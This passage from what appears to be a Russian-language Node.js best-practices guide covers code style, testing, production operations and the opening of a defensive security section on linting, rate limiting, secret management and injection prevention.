](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 Подключайте модули вначале, а не внутри функций\n\n**TL;DR:** Подключайте модули в начале каждого файла, до и вне каких-либо функций. Эта простая рекомендация не только поможет вам легко и быстро определить зависимости файла прямо вверху, но и позволит избежать пары потенциальных проблем.\n\n**Иначе:** Подключения выполняются синхронно с Node.js. Если они вызываются из функции, она может заблокировать обработку других запросов в более критическое время. Кроме того, если требуемый модуль или какая-либо из его собственных зависимостей выдает ошибку и приводит к сбою сервера, лучше узнать об этом как можно скорее, что может быть не так, если этот модуль требуется изнутри функции.\n\n<br/><br/>\n\n## ![✔] 3.9 Подключайте модули по папкам, а не по файлам напрямую\n\n**TL;DR:** При разработке модуля/библиотеки в папке поместите файл index.js, который раскрывает внутреннюю часть модуля, чтобы каждый потребитель проходил через него. Это служит \"интерфейсом\" для вашего модуля и облегчает будущие изменения, не нарушая контракт.\n\n**Иначе:** Изменение внутренней структуры файлов или подписи может нарушить интерфейс с клиентами.\n\n### 3.9 Пример кода\n\n```javascript\n// Делайте так\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// Избегайте\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 Используйте оператор `===`\n\n**TL;DR:** Предпочитайте оператор строгого равенства `===` более слабому абстрактному оператору равенства `==`. `==` сравнивает две переменные после преобразования их в общий тип. В `===` нет преобразования типов, и обе переменные должны иметь одинаковый тип, чтобы быть равными.\n\n**Иначе:** Неравные переменные могут возвращать true при сравнении с оператором `==`.\n\n### 3.10 Пример кода\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nВсе приведенные выше операторы вернут false, если используются с `===`.\n\n<br/><br/>\n\n## ![✔] 3.11 Используйте Async Await, избегайте колбэков\n\n**TL;DR:** Node 8 LTS теперь имеет полную поддержку Async-await. Это новый способ работы с асинхронным кодом, который заменяет обратные вызовы и обещания. Async-await не блокирует и делает асинхронный код синхронным. Лучший подарок, который вы можете дать своему коду, -- это использовать async-await, который обеспечивает гораздо более компактный и знакомый синтаксис кода, такой как try-catch.\n\n**Иначе:** Обработка асинхронных ошибок в стиле обратного вызова, вероятно, самый быстрый путь в ад -- этот стиль вынуждает проверять ошибки повсюду, справляться с неудобным вложением кода и затрудняет рассуждение о потоке кода.\n\n🔗 [**Подробнее:** Guide to async await 1.0](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 Используйте стрелочные функции (=>)\n\n**TL;DR:** Хотя рекомендуется использовать async-await и избегать параметров функций при работе со старыми API, которые принимают обещания или обратные вызовы -- стрелочные функции делают структуру кода более компактной и поддерживают лексический контекст корневой функции (т.к. `this`)\n\n**Иначе:** Более длинный код (в функциях ES5) более подвержен ошибкам и неудобен для чтения.\n\n🔗 [**Подробнее: It’s Time to Embrace Arrow Functions**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#оглавление\">⬆ К началу</a></p>\n\n# `4. Тестирование и общие методы контроля качества`\n\n## ![✔] 4.1 Как минимум, напишите тестирование API (компонента)\n\n**TL;DR:** Большинство проектов просто не имеют автоматического тестирования из-за коротких сроков, или, как часто бывает, выхода из-под контроля и забрасывания \"проекта тестирования\". По этой причине расставьте приоритеты и начните с тестирования API, который является самым простым способом написания, и обеспечивает больший охват, чем модульное тестирование. Вы даже можете создавать тесты API без кода, используя такие инструменты, как [Postman](https://www.getpostman.com/). После этого, если у вас будет больше ресурсов и времени, перейдите к расширенным типам тестов, таким как модульное тестирование, тестирование БД, тестирование производительности и т.д.\n\n**Иначе:** Вы можете потратить долгие дни на написание модульных тестов, чтобы узнать, что вы получили только 20% покрытия системы.\n\n<br/><br/>\n\n## ![✔] 4.2 Включите 3 части в каждое название теста\n\n**TL;DR:** Заставьте тест говорить на уровне требований, чтобы он был понятен инженерам и разработчикам QA, которые не знакомы с внутренними компонентами кода. Укажите в названии теста, что тестируется (тестируемая единица), при каких обстоятельствах и каков ожидаемый результат.\n\n**Иначе:** Развертывание только что прошло, тест под названием \"Добавить продукт\" не прошел. Это говорит вам, что именно работает со сбоями?\n\n🔗 [**Подробнее: Включите 3 части в каждое название теста**](./sections/testingandquality/3-parts-in-name.russian.md)\n\n<br/><br/>\n\n## ![✔] 4.3 Структурные тесты AAA-подходом\n\n**TL;DR:** Структурируйте свои тесты с тремя хорошо разделенными секциями: Arrange, Act & Assert AAA). Первая часть включает в себя настройку теста, затем выполнение тестируемого модуля и, наконец, этап подтверждения. Следование этой структуре гарантирует, что читатель не тратит мозговые ЦП на понимание плана тестирования.\n\n**Иначе:** Не только вы тратите долгие ежедневные часы на понимание основного кода, теперь и то, что должно было быть простой частью дня (тестирование), напрягает ваш мозг.\n\n🔗 [**Read More: Structure tests by the AAA pattern**](./sections/testingandquality/aaa.russian.md)\n\n<br/><br/>\n\n## ![✔] 4.4. Обнаружение проблем с кодом с помощью линтера\n\n**TL;DR:** Используйте линтер кода для проверки базового качества и раннего обнаружения анти-паттернов. Запустите его перед любым тестом и добавьте его в качестве git-ловушки перед фиксацией, чтобы минимизировать время, необходимое для проверки и исправления любой проблемы. Также проверьте [Раздел 3](#3-Практики-стиля-кода) в разделе Практика стиля кода.\n\n**Иначе:** Вы можете не заметить передачу некоторого анти-паттерна и возможного уязвимого кода в вашу производственную среду.\n\n<br/><br/>\n\n## ![✔] 4.5 Избегайте глобальных тестовых приспособлений и параметров, добавляйте данные для каждого теста\n\n**TL;DR:** Чтобы предотвратить связывание тестов и легко рассуждать о последовательности тестов, каждый тест должен добавлять и воздействовать на свой собственный набор строк БД. Всякий раз, когда тест должен получить или предположить существование некоторых данных БД, он должен явно добавить эти данные и избегать изменения любых других записей.\n\n**Иначе:** Рассмотрим сценарий, в котором развертывание прерывается из-за неудачных тестов, теперь команда собирается потратить драгоценное время на исследование, которое заканчивается печальным выводом: система работает хорошо, однако тесты мешают друг другу и нарушают сборку.\n\n🔗 [**Подробнее: Избегайте глобальных тестовых приспособлений и параметров, добавляйте данные для каждого теста**](./sections/testingandquality/avoid-global-test-fixture.russian.md)\n\n<br/><br/>\n\n## ![✔] 4.6 Постоянно проверяйте уязвимые зависимости\n\n**TL;DR:** Даже самые уважаемые зависимости, такие как Express, имеют известные уязвимости. Это можно легко приручить, используя открытые и коммерческие инструменты, такие как 🔗 [npm audit](https://docs.npmjs.com/cli/audit) и 🔗[snyk.io](https://snyk.io), которые могут быть вызванны из вашего CI при каждой сборке.\n\n**Иначе:** Для обеспечения чистоты вашего кода от уязвимостей без использования специальных инструментов потребуется постоянно следить за публикациями в Интернете о новых угрозах. Довольно утомительно.\n\n<br/><br/>\n\n## ![✔] 4.7 Помечайте свои тесты\n\n**TL;DR:** Различные тесты должны выполняться в разных сценариях: быстрое раскуривание, без ввода-вывода, тесты должны выполняться, когда разработчик сохраняет или фиксирует файл, полные сквозные тесты обычно выполняются, когда отправлен новый запрос в репозиторий и т.д. Этого можно достичь, помечая тесты ключевыми словами, такими как #cold, #api, #sanity, чтобы вы могли использовать свой тестовый набор и вызывать нужное подмножество. Например, вот как вы бы вызывали только группу тестов на работоспособность с [Mocha](https://mochajs.org/): mocha --grep 'sanity'.\n\n**Иначе:** Запуск всех тестов, включая тесты, которые выполняют десятки запросов к БД, каждый раз, когда разработчик вносит небольшие изменения, может быть очень медленным и держит разработчиков подальше от запуска тестов.\n\n<br/><br/>\n\n## ![✔] 4.8 Проверьте ваше покрытие тестов, он помогает определить неправильные тестовые шаблоны\n\n**TL;DR:** Инструменты покрытия кода тестами, такие как [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) хороши по 3 причинам: они предоставляются бесплатно (никаких усилий не требуется, чтобы воспользоваться этими отчетами) это помогает выявить уменьшение охвата тестирования и, наконец, что не менее важно, подчеркивает несоответствия тестирования: просматривая цветные отчеты о покрытии кода, вы можете заметить, например, области кода, которые никогда не тестируются, как предложения catch (то есть тесты вызывают только счастливые пути, а не то, как приложение ведет себя на ошибках). Установите его на сбой сборки, если охват падает ниже определенного порога.\n\n**Иначе:** Там не будет никакой автоматической метрики, сообщающей вам, когда большая часть вашего кода не покрыта тестированием.\n\n<br/><br/>\n\n## ![✔] 4.9 Проверяйте устаревшие пакеты\n\n**TL;DR:** Используйте предпочитаемый вами инструмент (например, 'npm outdated' или [npm-check-updates](https://www.npmjs.com/package/npm-check-updates)) для обнаружения установленных пакетов, которые устарели, внедрите эту проверку в конвейер CI и приводите к сбою сборки в серьезном сценарии. Например, серьезный сценарий может быть, когда установленный пакет имеет 5 исправлений патча позади (например, локальная версия 1.3.1 и версия репозитория 1.3.8) или помечен автором как устаревший -- убейте сборку и предотвратите развертывание этой версии.\n\n**Иначе:** Ваше производство будет запускать пакеты, которые были явно помечены их автором как рискованные.\n\n<br/><br/>\n\n## ![✔] 4.10 Используйте docker-compose для тестирования e2e\n\n**TL;DR:** Сквозное (e2e) тестирование, включает в себя живые данные, которые раньше были самым слабым звеном процесса CI, поскольку оно зависит от множества тяжелых сервисов, таких как DB. Docker-compose превращает эту проблему в простоту, создавая производственную среду, используя простой текстовый файл и простые команды. Это позволяет создавать все зависимые сервисы, БД и изолированную сеть для тестирования e2e. Наконец, что не менее важно, он может поддерживать среду без состояния, которая вызывается перед каждым набором тестов и умирает сразу после.\n\n**Иначе:** Без docker-compose команды должны поддерживать базу данных тестирования для каждой среды тестирования, включая машины разработчиков, синхронизировать все эти базы данных, чтобы результаты тестирования не менялись в зависимости от среды.\n\n<br/><br/>\n\n## ![✔] 4.11 Производите рефакторинг регулярно с использованием инструментов статического анализа\n\n**TL;DR:** Использование инструментов статического анализа помогает, предоставляя объективные способы улучшить качество кода и поддерживая его в обслуживании. Вы можете добавить инструменты статического анализа в свою сборку CI, чтобы она вызывала сбой при обнаружении запахов кода. Его основные преимущества при использовании простого линтинга -- это возможность проверять качество в контексте нескольких файлов (например, обнаруживать дубликаты), выполнять расширенный анализ (например, сложность кода) и следить за историей и развитием проблем с кодом. Два примера инструментов, которые вы можете использовать: [Sonarqube](https://www.sonarqube.org/) (2600+ [stars](https://github.com/SonarSource/sonarqube)) и [Code Climate](https://codeclimate.com/) (1500+ [stars](https://github.com/codeclimate/codeclimate)).\n\n**Иначе:** При плохом качестве кода ошибки и производительность всегда будут проблемой, которую не может исправить ни одна блестящая новая библиотека или современные функции.\n\n🔗 [**Подробнее: Рефакторинг**](./sections/testingandquality/refactoring.russian.md)\n\n<br/><br/>\n\n## ![✔] 4.12 Тщательно выбирайте свою CI-платформу (Jenkins или CircleCI или Travis или остальной мир)\n\n**TL;DR:** Ваша платформа непрерывной интеграции (CICD) будет содержать все инструменты качества (такие как тестирование и линтинг), поэтому она должна поставляться с динамичной экосистемой плагинов. [Jenkins](https://jenkins.io/) раньше использовался по умолчанию для многих проектов, поскольку у него самое большое сообщество и очень мощная платформа по цене сложной установки, которая требует крутой кривой обучения. В настоящее время стало намного проще настроить CI-решение с использованием инструментов SaaS, таких как [CircleCI](https://circleci.com) и других. Эти инструменты позволяют создать гибкий конвейер CI без необходимости управлять всей инфраструктурой. В конце концов, это компромисс между надежностью и скоростью -- тщательно выбирайте свою сторону.\n\n**Иначе:** Выбор какого-либо нишевого поставщика может заблокировать вас, когда вам понадобится дополнительная настройка. С другой стороны, работа с Jenkins может потратить драгоценное время на настройку инфраструктуры.\n\n🔗 [**Подробнее: Тщательно выбирайте платформу CI**](./sections/testingandquality/citools.russian.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#оглавление\">⬆ К началу</a></p>\n\n# `5. Переход к производственным практикам`\n\n## ![✔] 5.1. Мониторинг\n\n**TL;DR:** Мониторинг -- это игра для выявления проблем до того, как их решат клиенты, очевидно, этому следует придать беспрецедентную важность. Рынок перегружен предложениями, поэтому подумайте о том, чтобы начать с определения основных метрик, которым вы должны следовать (мои предложения в подробностях), затем перейти к дополнительным необычным функциям и выбрать решение, которое помечает все поля. Нажмите \"Подробнее\" ниже для обзора решений.\n\n**Иначе:** Отказ === разочарованные клиенты. Просто.\n\n🔗 [**Подробнее: Мониторинг!**](./sections/production/monitoring.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.2. Увеличьте прозрачность, используя умную регистрацию\n\n**TL;DR:** Журналы могут быть тупым хранилищем операторов отладки или активатором красивой панели инструментов, которая рассказывает историю вашего приложения. Планируйте свою платформу ведения журналов с первого дня: как журналы собираются, хранятся и анализируются, чтобы обеспечить возможность извлечения желаемой информации (например, частоты ошибок, всей транзакции через службы и серверы и т.д.).\n\n**Иначе:** Вы в конечном итоге получаете черный ящик, о котором трудно подумать, затем вы начинаете переписывать все операторы регистрации, чтобы добавить дополнительную информацию.\n\n🔗 [**Подробнее: Сделайте ваше приложение прозрачным, используя умные логи**](./sections/production/smartlogging.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.3. Делегируйте все возможное (например, gzip, SSL) обратному прокси\n\n**TL;DR:** Node ужасно плохо справляется с задачами, интенсивно использующими процессор, такими как архивирование, SSL и т.д. Вместо этого вы должны использовать \"настоящие\" сервисы промежуточного ПО, такие как nginx, HAproxy или сервисы облачного вендора.\n\n**Иначе:** Ваш бедный одиночный поток будет занят выполнением инфраструктурных задач вместо того, чтобы работать с ядром приложения, и производительность будет соответственно снижаться.\n\n🔗 [**Подробнее: Делегируйте все возможное (например, gzip, SSL) обратному прокси**](./sections/production/delegatetoproxy.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.4. Блокируйте зависимости\n\n**TL;DR:** Ваш код должен быть одинаковым во всех средах, но удивительно, что npm по умолчанию позволяет смещать зависимости между средами -- при установке пакетов в различных средах он пытается получить последнюю версию пакета исправлений. Преодолеть это можно с помощью файлов конфигурации npm, .npmrc, которые сообщают каждой среде сохранять точную (не последнюю) версию каждого пакета. В качестве альтернативы, для более тонкого контроля используйте `npm shrinkwrap`. \\* Обновление: начиная с NPM5, зависимости по умолчанию заблокированы. Новый менеджер пакетов Yarn также предоставил нам покрытие по умолчанию.\n\n**Иначе:** QA тщательно протестирует код и утвердит версию, которая будет вести себя по-другому в производстве. Хуже того, на разных серверах в одном и том же производственном кластере может выполняться другой код.\n\n🔗 [**Подробнее: Блокируйте зависимости**](./sections/production/lockdependencies.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.5. Защитите время безотказной работы, используя правильный инструмент\n\n**TL;DR:** Процесс должен продолжаться и перезапускаться при сбоях. Для простых сценариев может быть достаточно инструментов управления процессами, таких как PM2, но в современном \"докеризованном\" мире следует также рассмотреть инструменты управления кластерами.\n\n**Иначе:** Запуск десятков экземпляров без четкой стратегии и слишком большого количества инструментов (управление кластером, docker, PM2) может привести к хаосу DevOps.\n\n🔗 [**Подробнее: Защищайте и перезапускайте свой процесс в случае неудачи (используя правильный инструмент)**](./sections/production/guardprocess.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.6. Используйте все ядра процессора\n\n**TL;DR:** В своей базовой форме приложение Node работает на одном ядре ЦП, в то время как все остальные не работают. Ваша обязанность -- копировать процесс Node и использовать все процессоры. Для небольших и средних приложений вы можете использовать Node Cluster или PM2. Для более крупного приложения рассмотрите возможность репликации процесса с использованием некоторого кластера Docker (например, K8S, ECS) или сценариев развертывания, основанных на системе инициализации Linux (например, systemd).\n\n**Иначе:** Ваше приложение, скорее всего, будет использовать только 25% доступных ресурсов (!) Или даже меньше. Обратите внимание, что типичный сервер имеет 4 или более ядер ЦП, для простого развертывания Node.js используется только 1 (даже при использовании сервисов PaaS, таких как AWS beanstalk!)\n\n🔗 [**Подробнее: Используйте все ядра процессора**](./sections/production/utilizecpu.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.7. Создавайте \"конечную точку обслуживания\"\n\n**TL;DR:** Предоставьте набор информации, связанный с системой, например, использование памяти и REPL, и т.д. в защищенном API. Хотя настоятельно рекомендуется полагаться на стандартные инструменты и инструменты для боевых испытаний, некоторые ценные сведения и операции легче выполнять с помощью кода.\n\n**Иначе:** Вы обнаружите, что выполняете много \"диагностических развертываний\" -- отправка кода в производство только для извлечения некоторой информации в диагностических целях.\n\n🔗 [**Подробнее: Создавайте конечную точку обслуживания**](./sections/production/createmaintenanceendpoint.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.8. Обнаружение ошибок и простоев с использованием продуктов APM\n\n**TL;DR:** Продукты для мониторинга приложений и производительности (a.k.a APM) проактивно измеряют кодовую базу и API, поэтому они могут автоматически выходить за рамки традиционного мониторинга и измерять общее взаимодействие пользователей между службами и уровнями. Например, некоторые продукты APM могут выделять транзакцию, которая загружается слишком медленно на стороне конечного пользователя, предлагая при этом основную причину.\n\n**Иначе:** Вы можете потратить огромные усилия на измерение производительности и времени простоя API, возможно, вы никогда не узнаете, какие ваши самые медленные части кода в реальном сценарии и как они влияют на UX.\n\n🔗 [**Подробнее: Уверенный пользовательский опыт с продуктами APM**](./sections/production/apmproducts.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.9. Делайте ваш код готовым к работе\n\n**TL;DR:** Код с конечной целью, план производства с первого дня. Это звучит немного расплывчато, поэтому я собрал несколько советов по разработке, которые тесно связаны с техническим обслуживанием производства (см. ниже)\n\n**Иначе:** Чемпион мира по IT/DevOps не спасет плохо написанную систему.\n\n🔗 [**Подробнее: Делайте ваш код готовым к работе**](./sections/production/productioncode.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.10. Измеряйте и защищайте использование памяти\n\n**TL;DR:** Node.js имеет противоречивые отношения с памятью: движок v8 имеет мягкие ограничения на использование памяти (1,4 ГБ), и существуют известные пути утечки памяти в коде Node -- таким образом, наблюдение за процессной памятью Node является обязательным. В небольших приложениях вы можете периодически измерять память с помощью команд оболочки, но в средних и больших приложениях стоит подумать о том, чтобы превратить ваши часы памяти в надежную систему мониторинга.\n\n**Иначе:** Ваша память процесса может пропускать сотни мегабайт в день, как это было в [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak).\n\n🔗 [**Подробнее: Измеряйте и защищайте использование памяти**](./sections/production/measurememory.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Получайте ваши внешние ресурсы вне Node\n\n**TL;DR:** Обслуживание внешнего интерфейса с помощью специального промежуточного программного обеспечения (nginx, S3, CDN), потому что производительность Node действительно ухудшается при работе со многими статическими файлами из-за его однопоточной модели.\n\n**Иначе:** Ваш единственный поток Node будет занят потоковой передачей сотен файлов html/images/angular/react вместо того, чтобы выделять все свои ресурсы на задачи, для которой он был создан -- обслуживание динамического контента.\n\n🔗 [**Подробнее: Получайте ваши внешние ресурсы вне Node**](./sections/production/frontendout.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.12. Не прописывайтесь на постоянку, убивайте свои серверы почти каждый день\n\n**TL;DR:** Храните любые типы данных (например, пользовательские сеансы, кэш, загруженные файлы) во внешних хранилищах данных. Попробуйте периодически \"убивать\" свои серверы или использовать \"безсерверную\" платформу (например, AWS Lambda), которая явно обеспечивает поведение без сохранения состояния.\n\n**Иначе:** Сбой на данном сервере приведет к простою приложения, а не просто к гибели неисправного компьютера. Более того, гибкость масштабирования станет более сложной из-за зависимости от конкретного сервера.\n\n🔗 [**Подробнее: Не прописывайтесь на постоянку, убивайте свои серверы почти каждый день**](./sections/production/bestateless.md)\n\n<br/><br/>\n\n## ![✔] 5.13. Используйте инструменты, которые автоматически обнаруживают уязвимости\n\n**TL;DR:** Даже самые уважаемые зависимости, такие как Express, имеют известные уязвимости (время от времени), которые могут подвергать систему риску. Это можно легко укротить, используя общественные и коммерческие инструменты, которые постоянно проверяют уязвимости и предупреждают (локально или на GitHub), некоторые могут даже сразу же их исправлять.\n\n**Иначе:** Для обеспечения чистоты кода от уязвимостей без использования специальных инструментов вам потребуется постоянно следить за публикациями в Интернете о новых угрозах. Довольно утомительно.\n\n🔗 [**Подробнее: Используйте инструменты, которые автоматически обнаруживают уязвимые зависимости**](./sections/production/detectvulnerabilities.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.14. Назначьте идентификатор транзакции для каждого события журнала\n\n**TL;DR:** Назначьте один и тот же идентификатор, идентификатор транзакции: {некоторое значение}, каждой записи журнала в рамках одного запроса. Затем при проверке ошибок в журналах легко сделать вывод о том, что происходило до и после. К сожалению, этого нелегко добиться в Node из-за его асинхронной природы, см. Пример кодов внутри.\n\n**Иначе:** Глядя на журнал ошибок производства без контекста -- что произошло раньше -- становится намного сложнее и медленнее рассуждать о проблеме.\n\n🔗 [**Read More: Назначьте \"TransactionId\" для каждого вхождения журнала логирования**](./sections/production/assigntransactionid.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.15. Устанавливайте NODE_ENV=production\n\n**TL;DR:** Установите для переменной среды NODE_ENV значение \"production\" или \"development\", чтобы указать, должны ли активироваться производственные оптимизации -- многие пакеты npm определяют текущую среду и оптимизируют свой код для того или иного выпуска.\n\n**Иначе:** Пропуск этого простого свойства может значительно снизить производительность. Например, при использовании Express для рендеринга на стороне сервера пропуск `NODE_ENV` замедляет его в три раза!\n\n🔗 [**Подробнее: Устанавливайте NODE_ENV=production**](./sections/production/setnodeenv.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Проектируйте автоматизированные, атомарные и без простоев на развертывание\n\n**TL;DR:** Исследования показывают, что команды, которые выполняют много развертываний, снижают вероятность серьезных производственных проблем. Быстрое и автоматическое развертывание, не требующее рискованных ручных операций и простоев служб, значительно улучшает процесс развертывания. Вероятно, вам следует добиться этого, используя Docker в сочетании с инструментами CI, поскольку они стали отраслевым стандартом для упрощенного развертывания.\n\n**Иначе:** Длительные развертывания -> простои производства и ошибки, связанные с персоналом -> команда неуверенная в развертывании -> меньше развертываний и функций.\n\n<br/><br/>\n\n## ![✔] 5.17. Используйте LTS-релиз Node.js\n\n**TL;DR:** Убедитесь, что вы используете LTS-версию Node.js для получения критических исправлений ошибок, обновлений безопасности и улучшений производительности.\n\n**Иначе:** Недавно обнаруженные ошибки или уязвимости могут быть использованы для эксплуатации приложения, работающего в производственной среде, и ваше приложение может стать неподдерживаемым различными модулями и усложнить поддержку.\n\n🔗 [**Подробнее: Используйте LTS-релиз Node.js в производстве**](./sections/production/LTSrelease.russian.md)\n\n<br/><br/>\n\n## ![✔] 5.18. Не маршрутизируйте журналы в приложении\n\n**TL;DR:** Места назначения журналов не должны жестко кодироваться разработчиками в коде приложения, но вместо этого должны определяться средой исполнения, в которой выполняется приложение. Разработчики должны записывать журналы в `stdout` с помощью утилиты logger и затем позвольте среде выполнения (контейнер, сервер и т.д.) направить поток `stdout` в соответствующее место назначения (т.е. Splunk, Graylog, ElasticSearch и т.д.).\n\n**Иначе:** Маршрутизация журналов обработки приложения === трудности масштабирования, потеря журналов, плохое разделение задач\n\n🔗 [**Подробнее: Код вашего приложения не должен обрабатывать журналы маршрутизации**](./sections/production/logrouting.russian.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#оглавление\">⬆ К началу</a></p>\n\n# `6. Практики безопасности`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. Пользуйтесь правилами безопасности линтера\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Используйте связанные с безопасностью плагины для линтера, такие как [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security), чтобы обнаруживать уязвимости и проблемы безопасности на ранней стадии, насколько возможно, желательно, пока они кодируются. Это может помочь выявить слабые места безопасности, такие как использование eval, вызов дочернего процесса или импорт модуля со строковым литералом (например, пользовательский ввод). Нажмите \"Подробнее\" ниже, чтобы увидеть примеры кода, которые попадут под стражу безопасности.\n\n**Иначе:** То, что могло быть простым недостатком безопасности во время разработки, становится основной проблемой в производстве. Кроме того, проект может не следовать согласованным методам обеспечения безопасности кода, что приводит к появлению уязвимостей или секретных секретов, передаваемых в удаленные репозитории.\n\n🔗 [**Подробнее: Пользуйтесь правилами безопасности линтера**](./sections/security/lintrules.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.2. Ограничивайте одновременные запросы с использованием промежуточного программного обеспечения\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** DOS-атаки очень популярны и относительно просты в проведении. Внедрите ограничение скорости с помощью внешней службы, такой как облачные балансировщики нагрузки, облачные брандмауэры, nginx, пакет [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) или (для небольших и менее критичных приложений) промежуточное программное обеспечение, ограничивающее скорость (например, [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))\n\n**Иначе:** Приложение может подвергнуться атаке, приводящей к отказу в обслуживании, когда реальные пользователи получают ухудшенный или недоступный сервис.\n\n🔗 [**Подробнее: Ограничивайте одновременные запросы с использованием балансировщика или промежуточного программного обеспечения**](./sections/security/limitrequests.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.3 Извлекайте секреты из конфигурационных файлов или используйте пакеты для их шифрования\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Никогда не храните секреты в виде простого текста в файлах конфигурации или исходном коде. Вместо этого используйте системы секретного управления, такие как продукты Vault, секреты Kubernetes/Docker или переменные среды. В крайнем случае, секреты, хранящиеся в системе контроля версий, должны быть зашифрованы и обработаны (переходящие ключи, срок действия, аудит и т.д.). Используйте фиксаторы pre-commit/push, чтобы предотвратить случайную передачу секретов.\n\n**Иначе:** Контроль источников, даже для частных репозиториев, может быть ошибочно обнародован, после чего все секреты будут раскрыты. Доступ к управлению исходным кодом для внешней стороны непреднамеренно предоставит доступ к связанным системам (базам данных, API, службам и т.д.).\n\n🔗 [**Подробнее: Извлекайте секреты из конфигурационных файлов или используйте пакет npm, который их шифрует**](./sections/security/secretmanagement.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.4. Предотвращайте уязвимости при внедрении запросов с помощью библиотек ORM/ODM\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Чтобы предотвратить инъекцию SQL/NoSQL и другие злонамеренные атаки, всегда используйте ORM/ODM или библиотеку базы данных, которая экранирует данные или поддерживает именованные или индексированные параметризованные запросы, а также проверяет пользовательский ввод на ожидаемые типы. Никогда не используйте строки шаблонов JavaScript или конкатенацию строк для ввода значений в запросы, поскольку это открывает для вашего приложения широкий спектр уязвимостей. Все авторитетные библиотеки доступа к данным Node.js (например, [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) имеют встроенную защиту от инъекционных атак.\n\n**Иначе:** Непроверенный или недеанонимизированный пользовательский ввод может привести к внедрению оператора при работе с MongoDB для NoSQL, а отсутствие надлежащей системы очистки или ORM легко разрешит атаки с использованием SQL-инъекции, создав гигантскую уязвимость.\n\n🔗 [**Подробнее: Предотвращайте уязвимости при внедрении базы данных с помощью библиотек ORM/ODM или других пакетов DAL**](./sections/security/ormodmusage.russian.md)\n\n<br/><br/>\n\n## ! [✔] 6.5. Сборник общих рекомендаций по безопасности\n\n**TL;DR:** Это набор рекомендаций по безопасности, которые не связаны напрямую с Node.js -- реализация Node мало чем отличается от любого другого языка. Нажмите \"Подробнее\", чтобы просмотреть.\n\n🔗 [**Подробнее: Общие рекомендации по безопасности Node.js**](./sections/security/commonsecuritybestpractices.russian.md)\n\n<br/><br/>\n\n## ![✔] 6.6. Настраивайте заголовки ответа HTTP для повышения безопасности\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Ваше приложение должно использовать безопасные заголовки, чтобы предотвратить использование злоумышленниками распространенных атак, таких как межсайтовый скриптинг (XSS), клик-джеккинг и другие вредоносные атаки. Их можно легко настроить с помощью таких модулей, как 